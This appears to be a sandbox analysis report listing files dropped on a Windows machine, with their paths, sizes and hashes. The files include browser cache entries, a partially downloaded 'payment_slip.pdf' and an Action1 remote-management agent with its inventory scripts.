SHA512 3024aa50b77494c1e6b2239c633763c3bab63b7d37a012859bf3f2141d5258ab9260748aca1a425ad0810426d1ed1509d2b9b628e76232500dd13cb9f430f5c9
SSDEEP 192:sxRvRNTD/fsFsbqZJzoA8pi/g6+WNIY2Rlc3GUIgVyCHJ:sxRvDD/fsFsb8Ui/5I21ICp
TLSH
T1CB32C815AE28A93B4CDBD21DBB657F53D6F95032A1901E48AAFC8A1C04E76DD230781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 3KB
SHA256 d2271c70f5edf3d240141c6b1a33d9e3b078682e929861c0779a4d08946392bb
MD5 98ac7f1dc556358a6eed11a5002a0272
SHA1 715fc85de2c14e858f05b445eff4e7f9f83a0a42
SHA512 45a91520ee217ea7f4b1bad3a1fb3a8b0e915bcc6e85e08ae3cfd93fcfbf953159dfac0df410226a220fc91d2269ec77fa3e5bcd65d4af3ccf9f99230b34f158
TLSH
T17D61A64095E010E7E7AC447469DB3E8B3B3A4AFA7DB35D0AAC90C4B41B0E3F4F198124
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 ffb3cc5fe18366592b5b70424844a881cd320077ab5759869938d4308c04ccb5
MD5 3f61701405d010a94f5ad01648420df3
SHA1 864b7e12e48fb7a671d749b0ba1a5956aa0bace4
SHA512 a904752db0e38e7a02f4d493138368777ae696b49289317b382d58783a9ac9090ca53d35b773154d30ea63c32efeeef1a4bd3c06bebafd524a4698f93ea7e1e5
TLSH
T13861954096E050E7E76C447069EB3E8B3B3A4AFA7DB35D0AAC90C4B41B0E3F4E098124
MD5 SHA1 SHA512 TLSH

Submit Download

145040dd-c891-4383-b307-64dd46583b23.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\145040dd-c891-4383-b307-64dd46583b23.tmp
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

dasherSettingSchema.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.111.1_0\dasherSettingSchema.json
Size 854B
SHA256 6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6
MD5 4ec1df2da46182103d2ffc3b92d20ca5
SHA1 fb9d1ba3710cf31a87165317c6edc110e98994ce
SHA512 939d81e6a82b10ff73a35c931052d8d53d42d915e526665079eeb4820df4d70f1c6aebab70b59519a0014a48514833fefd687d5a3ed1b06482223a168292105d
TLSH
T1B1014C25C354799B04C7627ABCA95001E630818B027665707DDE4D7C6F2E8A700BF37E
MD5 SHA1 SHA512 TLSH

Submit Download

4ed6c5c6-5307-48cf-bc5e-8dbc97f305ba.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\4ed6c5c6-5307-48cf-bc5e-8dbc97f305ba.tmp
Size 2KB
SHA256 368d0c4bd3693ae0d3265c496c4307941587ebd3ed85e8fb9198b031f3c45c06
MD5 4939b4b74f5eaeef834234d28edcbfad
SHA1 28fadc30c76cf5b566978f59daf7d4a1d1e64f78
SHA512 aaee67d42653dd7ae8d48ffdbedde5452d148df948750d7c6957f866b11e81848a39f9fdcf268bacdeb5e9b05f8e8ab23d25fad3a35cf9b0f36785ef193054e2
TLSH
T1C441BEF783F8893D9A0196F4AB083E1BCE6C0515432C7D9A85E49E2B93E3461E14199F
MD5 SHA1 SHA512 TLSH

Submit Download

5d679915-8ea9-4b0d-a778-0cf7ae94873b.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\5d679915-8ea9-4b0d-a778-0cf7ae94873b.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

9171a46c-3ff8-48bb-ad3e-f9bdb68a1318.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\9171a46c-3ff8-48bb-ad3e-f9bdb68a1318.tmp
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

d080414c-c600-4717-a7b6-e35b0f5c6685.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\d080414c-c600-4717-a7b6-e35b0f5c6685.tmp
Size 11KB
SHA256 f22529265ddfc43fd84d1efea84054be60ca66f41790cd5550bdf814c9b0ce7b
MD5 d07eb04722d93c5931cc2592761fbce0
SHA1 e9254c59da29f3e994c8e67f39f07fb42d1af6c9
SHA512 ccf209ef24cc11b9b8ca70136ca472ecdbf8a4a1bbabc34655eb82f924b7592390aa986d71e3d58995fce3254a36d711a4271293e05ed42702c666ebe28fe0c6
SSDEEP 192:sxRgRNTD/fsFshqZJzoA8pi/g6+WNIY2Rlc3GUIgDuyCHJ:sxRgDD/fsFsh8Ui/5I21BCp
TLSH
T19842D815AE28A93B4CDBD21DBB657F53D6F95032A0D01E48AAFC8A1C04E76DD630781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5afe74ca-4684-414b-83e6-254c2a481790.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\5afe74ca-4684-414b-83e6-254c2a481790.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

b6ce7738-5954-4692-89e2-e225b982c8b9.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\b6ce7738-5954-4692-89e2-e225b982c8b9.tmp
Size 39KB
SHA256 15804b921355504ff3dcd5ee1c29b88addc393ecb58cdc897dd3e6244be8b4d1
MD5 d75518e5073ac3a35f3db4a05e5fbac6
SHA1 2b0b6ad9dadaf2976a2f618cbaaccd7dbd66dcf9
SHA512 492789ffeebf100d098d6ae034aced0a3ea917d1af0e364bb382700d5793ddda9041efaef8aa5126a5c4d8482c2da528bfe185040b992e551feebdab39d5edc4
SSDEEP 768:U/UxvxjgC+B3vqmagm1oztDmGA5b65Q92RQMPbgFj0O:BZj3+B3Cy3AF65dQPFQO
TLSH
T16103CF36EC90AEB39CF95680368BA35AAFF88173D1C555E049E96E0D06C768C530B85B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cc0704ae-67cb-4995-95dd-3e96d617fcf2.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\cc0704ae-67cb-4995-95dd-3e96d617fcf2.tmp
Size 35KB
SHA256 4a1e31e8decd018e47b7ff2c47141cfda6b99a2cb1012a5d8946015ceb9afda0
MD5 4edc0e1b31be4fd495ea2498b8d3b579
SHA1 206c966190fada6bedccb4c364e31f8f0f2e8c1b
SHA512 f6a15837d1f31b594bda247e738abe77e111ba706caf3ffee729b46510033aa3512c0130ce9a3fe8aea0bf6412596b9d053a36bcf2abd9a9fd7c11aa240831f9
SSDEEP 768:2X36U7gm1oWp5DmGA5b65Q92RQMPb/WTJLKb:2X3PVrAF65dQYgI
TLSH
T17BF2C031ACB1EEB34CBA5280769B739ABFA45273D4C94A84D8D5AF0C05836CE130BD17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6ef16f34-db1a-4c91-8014-f63ed7e6c04f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\6ef16f34-db1a-4c91-8014-f63ed7e6c04f.tmp
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

8beee62b-d75c-4250-ba2e-c63543d8dba4.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\8beee62b-d75c-4250-ba2e-c63543d8dba4.tmp
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

a3e4450e-4c52-4794-9e46-65e43839e8c0.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\a3e4450e-4c52-4794-9e46-65e43839e8c0.tmp
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272
Size 158KB
SHA256 3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272
MD5 9c18c4721b560ec55f0d5de055144d5c
SHA1 6af37a3bda916cac276ad5879c9f61262d9ae523
SHA512 51466928eb8d3cf7b917919c98bd8168453583d2c3dc5836036d87ffd0d2c732ab8450212a880fc6de199ea569a96993ba0d250a5012160d2d72211880695f92
SSDEEP 3072:5ZwEurOxn8zXnHc2qHNYEU/rUHCVJWGdi0Ha5HnXk9TFzBsuht7yGik:5ZwPOx8D85UIHEI0HaZ09JzKStjik
TLSH
T1CFF3E13E7EDE891AD80B10BB7F16B18BD80D8E0B460AB44B769D80155B3668D1BD1CFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

42125697-7a0f-476a-bc98-5a8666cea34b.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\42125697-7a0f-476a-bc98-5a8666cea34b.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

fc1fee6f-bc7a-43ef-9a0f-963ea3144018.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\fc1fee6f-bc7a-43ef-9a0f-963ea3144018.tmp
Size 132B
SHA256 cf4125d94d82b448cb33d6f462cf53eec00f2ee8165fa00f1b9c3bdba48e3328
MD5 8126a600a3d95922fb651e3a6f104f68
SHA1 e386add1c2c1d9ca74461e5ce0d1b271d689160f
SHA512 5a0e81111f0d9a0f7943b99f7bad8162de0d3f99fffa9d8f8ab466fa9c7c4249808bedfa6e4d26426bc2d1a422e2155900ba71adc222617a5f0880dc60b89a93
TLSH
T122C02B8F542E47CBBAA5152D42D40B3B4690CD60F199E6B449FA5640006435CC608C47
MD5 SHA1 SHA512 TLSH

Submit Download

27445d21-f5c4-447f-913a-c61fe1a90853.tmp

Path C:\Users\Admin\AppData\Local\Temp\27445d21-f5c4-447f-913a-c61fe1a90853.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

9bfbc704-6094-4c2c-a72b-f67f82406dab.tmp

Path C:\Users\Admin\AppData\Local\Temp\9bfbc704-6094-4c2c-a72b-f67f82406dab.tmp
Size 10KB
SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
MD5 78e47dda17341bed7be45dccfd89ac87
SHA1 1afde30e46997452d11e4a2adbbf35cce7a1404f
SHA512 9574a66d3756540479dc955c4057144283e09cae11ce11ebce801053bb48e536e67dc823b91895a9e3ee8d3cb27c065d5e9030c39a26cbf3f201348385b418a5
SSDEEP 192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
TLSH
T19D32CFB695286380C58EE63D86423BE3130AFBF8CC05F156815069D768A13591B4B8BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

action1.msi

Path C:\Users\Admin\AppData\Local\Temp\action1.msi
Size 6.8MB
SHA256 cdb696454c5cd8db46d1cb15549c03b1dad84cb6d7659e4c1398e95cecdb97c0
MD5 5d5b7e342ce541742f21ef56f6f0be78
SHA1 09a877f3347b2a6969eff7db3176fc8b9055ab93
SHA512 aedef9086f6e041a7437da6fc2762ea8f44712db2d677109501bc740a1ed4f6fef0b9f63be6ef9603e53e6067683ef24d0544f9189ed2cc05dfc8f2d92fe71eb
SSDEEP 98304:qkMMwpD74pOTxPjLHLgk92Rdxmk69pa5SUOsFekLS57JkmPMETphToy0seQvsm:vlc4pkbLHLhObmXe/kdkmPDTs
TLSH
T118761221754E8C76C5AA363071769E7DDA7CBC305BA08BDB938339EE09315C052FDA92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1360_1678337271\CRX_INSTALL\_locales\en_CA\messages.json
Size 711B
SHA256 2445cad863be47bb1c15b57a4960b7b0d01864e63cdfde6395f3b2689dc1444b
MD5 558659936250e03cc14b60ebf648aa09
SHA1 32f1ce0361bbfdff11e2ffd53d3ae88a8b81a825
SHA512 1632f5a3cd71887774bf3cb8a4d8b787ea6278271657b0f1d113dbe1a7fd42c4daa717cc449f157ce8972037572b882dc946a7dc2c0e549d71982dcdee89f727
TLSH
T1460197136240AF18470BF05BB9023442A0B44AC62384E0B775EC982C6656DAFB20B3B0
MD5 SHA1 SHA512 TLSH

Submit Download

content.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1360_2036431605\CRX_INSTALL\content.js
Size 9KB
SHA256 0d40a5153cb66b5bde64906ca3ae750494098f68ad0b4d091256939eea243643
MD5 3d20584f7f6c8eac79e17cca4207fb79
SHA1 3c16dcc27ae52431c8cdd92fbaab0341524d3092
SHA512 315d1b4cc2e70c72d7eb7d51e0f304f6e64ac13ae301fd2e46d585243a6c936b2ad35a0964745d291ae9b317c316a29760b9b9782c88cc6a68599db531f87d59
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
TLSH
T16212B58DA568ED7D1980C952E10EA62E5D342435E6E7A303108B8D88026CFBAD955FFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

payment_slip.pdf.crdownload

Path C:\Users\Admin\Downloads\payment_slip.pdf.crdownload
Size 139KB
SHA256 21ee4a3755ea341733148407765a1d1f39abf7dc8eabee1529ba559f927827ff
MD5 3d2bd964ed2aacf46e40f3b53375f74a
SHA1 fbaa3f899f245f7f33d68bc81d309f82acd4fe4f
SHA512 ffb564b0d052d5161dd14f54c7336d846ddf17fdd71d080633c6a021fdba5138a5a5cef73b795543cbd490707a774ca42b29587c28fd973c3690233f66d5fa0e
SSDEEP 3072:nNlNMPF2rxKuKQpzkLooaqeh5PvydIpFCBNPUZm2RCABYfR2atf:npMPFUqMzkrapvRCXymmBYfR5tf
TLSH
T19CE312C2E73B43676A1622B3F394D69090FA51939B850E6F3751BBBB1041FF1A306A47
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

action1_agent.exe

Path C:\Windows\Action1\action1_agent.exe
Size 8.9MB
SHA256 941695d20d82dd5d62f74b0111feb23720637202f6c797df2a02e2cb6cb6e8e3
MD5 e4f1f52a78f22dd2be17449ca6f8f0af
SHA1 e9f385454fdddc7ae88431b8e02f4dfb7dd57b68
SHA512 2d7ed519a9380e1574bbc55444420334bdd0792c7839a1be67607a4f81be79e52f6c4dd10141079a47dcf61552724c2b3f060f0f670bdea527dc130ba9aebac8
SSDEEP 196608:KV1U3lnchqzhNpxSKyOBE2LeIzfAnOgOZ6aMkElWpRUn:KPoTVQYEseIzflZ6aMZORo
TLSH
T1D9968D21B641C135F9A301B29A7E4B6F853CBE30072555E7D3C858AE5AB19E33B32B17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

advanced_settings.json

Path C:\Windows\Action1\advanced_settings.json
Size 54KB
SHA256 7fed560def299793dd75ffa79bf7affa6430aa3f22e44848ca712728b019f1c7
MD5 6bd4115f34884b3bd2348a2be3495fd5
SHA1 08e6b1a6efe4e9f99b6e5915826dede015befc92
SHA512 5f2d57159d3bd79a6099d30ca31d7a280c8f4d94c218d2ef6ab7557a52d773b5ee93f76a72e3ba8a4034157988762cfff8b0a0f35237a651851f2ed76b00481e
SSDEEP 768:QXKnbhRgjUpQUfRQ3Lyhx4zUtsp82qUgw6fCph8uP5K5DIK58EOKWbBoE3a+OQzK:VRoLEBxc+wkMdAesHsLQ
TLSH
T104439E16E4757DB108C2188C5FDB1AF7DA4E019613D906DE871CEEBF89AF52C8102A9F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent_downgrade.version_pair

Path C:\Windows\Action1\agent_downgrade.version_pair
Size 81B
SHA256 55ec6e1e57302fff6b63b1ae1f18a9f921a9c2b5a930394c69426bdd6c505b23
MD5 da9ac7e1751ef92c71a89a636092682a
SHA1 9aefaacd5948aecba4d9d7d1ddb27d62b3bad9c2
SHA512 c628ad057086164d673787231eedaec328fb5a77cc1c4574c8e8f1801b49aa538e802d515ee965ec2e49b0f16df742c2a2c9980acb3baf50976ef20166b96e65
TLSH
T1CFA0110222000BC328A3AA8228B822288A08808AEFA28C0C200C08C2020C282028CB22
MD5 SHA1 SHA512 TLSH

Submit Download

previousUser.txt

Path C:\Windows\Action1\previousUser.txt
Size 14B
SHA256 03c99bcc555bcfd9ece76f75c0a7caa4d57eddede4c07f516b7235561a1e8d3e
MD5 ef803e4d0d922fba8fa04067ff0aa6af
SHA1 e31756460fbe91cde9404b1fd4d3a1cc9f8bfcdb
SHA512 67e3ad8ad921e3c62a5f34c009c9541ec6a53f81826e8dc0782956fa307d8a034e9601912f8757681282a0a18d09ce341b4da82dfb8012ca0fb9fd9d899b711a
MD5 SHA1 SHA512

Submit Download

DataSource_1004.ps1

Path C:\Windows\Action1\scripts\DataSource_1004.ps1
Size 54KB
SHA256 8bb1a1a832384f954454f47f294401c11c6b425d904495d5367120b6aa19b07c
MD5 6fc8969b7a94e78f4dfb85df9ddcaf05
SHA1 69516854be0504c11e03d89ffec2fe6f05ee56cf
SHA512 afbf13750b12e7bc7ad5cad1c9fea03561669547a23a5e06d6c9210078a2c1a888c24d88e101f8c3bd27dbddc560c796b3a77949750f417e967817ab7ce95360
SSDEEP 1536:Q/41urw4TV0HeCFgpUI5TrjrLAeOUbh9Q4ZePTjqZes+MafOS9siVKI6AXNhSk1Y:Q/41KUT+UKFf
TLSH
T1CC43814CA9DAE13651A3713C5ECF60083A35801F014D9A14BA8D81C5FFA2579DBBE7AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DataSource_1008.ps1

Path C:\Windows\Action1\scripts\DataSource_1008.ps1
Size 20KB
SHA256 6ca8873bf46ea4888dce7ab5ccdaba1e34577ce8cc1064817d66a3cd901351ea
MD5 745c2c539a54b590bf44ea13064ca55e
SHA1 4cca8b2f890e6c42800e16c20cf5d76048f04f3f
SHA512 d452736909daf94b7cd8744f4b6c47faeb412f9c0fc42029dffbffae2096dbd728acc2833f75e32bb8a61977f0a0253e90a1259ac806ae5dd7988980d89c90f3
SSDEEP 384:FomS7XwYkQo+ZL3VtmUtCCoaPSCVTESKvjQr5WMVH0DpRrwId:FomSLwJWFAUDohCVTESKvjQrzURx
TLSH
T1A3A2F928AABAC22410C3207D9F9B550A7976A15F809DDD10B99CCBD0AF4191CDBF47AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Hardware Summary_2037-1789648244.ps1

Path C:\Windows\Action1\scripts\Hardware Summary_2037-1789648244.ps1
Size 12KB
SHA256 77cae1db83993c02ff5f254ae161521a782c22e618bbcf6b1101428db674d2b7
MD5 247536fbd4b32577137e4f4b372a9249
SHA1 973c8d08eec0ba3d65e881ab3867542caaba8520
SHA512 7235430e8d191e2d0b813f3e0aca1d2230d2b6711b737f6a84350e8c670caa9f145e282a9a7063e3200d47b56d0d8c408827a4ac1bfb7d49d7814d12a13b92df
SSDEEP 192:TKkRAp3iIilHUs7opxWwYTil7iY/9QLG0xOxfQq+doeW4Zlhl487vbcCyaMH3tiL:TcW7hwY4QIiZU3ntmUtCCoaPAH
TLSH
T11742C729E65AD16820C320695F63540E79A1F01F4149AE40B9AC8FE0FFD198DD6F1A7F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Installed Printers_2025-1789648244.ps1

Path C:\Windows\Action1\scripts\Installed Printers_2025-1789648244.ps1
Size 1KB
SHA256 b558869c41920db3bd3af0e204149ff735402e376c5e5127a676f2453620e608
MD5 60ba537279a5226ece6d080a2f2b21f1
SHA1 71cea71ea6a6a4ce9ee0c322cdf6a84f4def7eb0
SHA512 b234f39411a082ab349d45fef6eb92eebf6a48aaef1635e61f3f3c334e1d5bd190dcbb8501afd45f671ba8c7f08d141475d80d8f985dc6f6d3549366fd835c8b
TLSH
T1E33142512E6AE1D1C1476602EE92B01E88370DAE10AEBDC478EDCD8AEDC3350D562277
MD5 SHA1 SHA512 TLSH

Submit Download

MS Outlook Versions_2043-1789648244.ps1

Path C:\Windows\Action1\scripts\MS Outlook Versions_2043-1789648244.ps1
Size 2KB
SHA256 6973bcb55ddcb2ac7e0569adc9e4007f315ba77dc8dbc0836a8b5637bb86889a
MD5 178c7995314b2a74eb29b269a396393e
SHA1 0b9b97db4a5a331d405606a77c22007805191922
SHA512 7f32636b5c7372d032a76dd80e17469e20df0d8403be65406945761d2ead1755fde2c7c4f9b778eba3e479b81b63469c060cf6a61a20fc4ff63ffca4986aae80
TLSH
T1E5416420AB1DC0E912467752F1D7C38EE2F9016D10273D4414AEC499F165E5D4BF2677
MD5 SHA1 SHA512 TLSH

Submit Download

Monitors_2026-1789648244.ps1

Path C:\Windows\Action1\scripts\Monitors_2026-1789648244.ps1
Size 1KB
SHA256 ec02022539fc99fa918ab77b05941d73f0675476d60a7737c46c05471e95e5ae
MD5 ac6882acc72155fcef060fa9760c1409
SHA1 1ffa08280717c2aec735104bc13248d1be560d48
SHA512 c22ded8f802c4f7c2a108148fd5fb530a3dc462f31804cd25a4cb8721dd2a3e57a038ed68a358f4f671a8678a600edd0feb445732a4b3bd49eba2b34ea3f7ab9
TLSH
T1E631E0201E75E0A181476742ED92A52A94360E5A105EBDC578EECC8AFFC3B90E666137
MD5 SHA1 SHA512 TLSH

Submit Download

Processx002FMemory Stats_2031-1789648244.ps1

Path C:\Windows\Action1\scripts\Processx002FMemory Stats_2031-1789648244.ps1
Size 1KB
SHA256 d7bcbd52fa0990e77273c8e4bf38ab09e556933b928ce9bee86540afca9c5a93
MD5 feebd53ec2f4e66d79795e9ff5374e97
SHA1 09a7b7f57ade7c24f61e25bc2eb14ef8c0bd3136
SHA512 95868670b6d877c019f4bd9d93697ff5a86a0bef0930610cb58dd8a1e66383fbd26bed30e96970f013070a8fe3ae2d3a7c705c5c91ab4f6b89bb1464a1cf8f2f
TLSH
T1774120241A3CE19881466D6666D39096F0250D5F009EBDC674EDCCC9DBC3A94F4F2977
MD5 SHA1 SHA512 TLSH

Submit Download

Running Processes_2030-1789648244.ps1

Path C:\Windows\Action1\scripts\Running Processes_2030-1789648244.ps1
Size 1KB
SHA256 eb02a87fc7c844d7ee84d4b0f9b0a1e3bf338a73c0696576f5fd82aa39563d14
MD5 b0c562c3de13b8f96e66bdfc5cdb62fc
SHA1 7c03ba789977d1ad621fe6cd181cc81518e824e8
SHA512 b7685a5b1e9742534f063b633331592dee93c51d4c2007368cec2b83e497805813bb6d49e67eb52c54dcac5b6e6babc809628de3460055ed9cbf5df9a40ec420
TLSH
T1593127505F3DD090C147AB41AE82A01A85370E6F146ABCD57CFECC8DEE83754D666137
MD5 SHA1 SHA512 TLSH

Submit Download

Windows Drivers_2024-1789648244.ps1

Path C:\Windows\Action1\scripts\Windows Drivers_2024-1789648244.ps1
Size 1KB
SHA256 710969abbeed769a28ce51e3b9b6be76c9df62ea066e0c6a108947c5855b5bc7
MD5 1a21657aa6ab3b0f112da35bf2a21e2c
SHA1 4500f131f36012b186a77196176fc39a5b8c464f
SHA512 993c08e90459572c23ce38ebdd241a04ddeec11560ba048000c8fbdefb81118d48da9ef97dbbf0a8572fd6775715561d2f34f08769edc034b986441661d9f953
TLSH
T16B3104506F2DD091C243A742F647B61A88360DAE106EBD8578FDCCCED9C3755D561237
MD5 SHA1 SHA512 TLSH

Submit Download

Windows Services_2033-1789648244.ps1

Path C:\Windows\Action1\scripts\Windows Services_2033-1789648244.ps1
Size 1KB
SHA256 2ade9c76c032a8ef639e2a1109428ca6c2719c1ebe05f657f9cb260035e32459
MD5 6c74089794f37fd5a5f151641ae60df5
SHA1 ca93712303c86d4360fd7fd5c8dc17b37f86f5b4
SHA512 a9e346cff87492a10b858df2fe92317c5b2d9dd354d3c44d46ef1dfc30cf880d5961093e79bcfd7d628d84c171d55c86e80fa58edc80ceaea4215901b49012b1
TLSH
T1FC418640D76CD0D24147A3A2AC97660B686D029D153AFC91FCFCC199F0E0F66D09663F
MD5 SHA1 SHA512 TLSH

Submit Download

Windows Update Status_2064-1789648244.ps1

Path C:\Windows\Action1\scripts\Windows Update Status_2064-1789648244.ps1
Size 16KB
SHA256 c1b88d7b4467574d377f7f9712d2edc6cca4bb8706964b13f451aef77509a30c
MD5 e33245b05a35394e95870140a6a0ffa4
SHA1 9aa03d9f967b8021934e559787f90297e392a35e
SHA512 3f5c2c9c7e0621d238b66abaa9a9b8029a39ed67451ecc54e71c882589b6b8b46b4733a3283a72d267cb0a0a53280ad37267f14c348a7950546ab93117f6a990
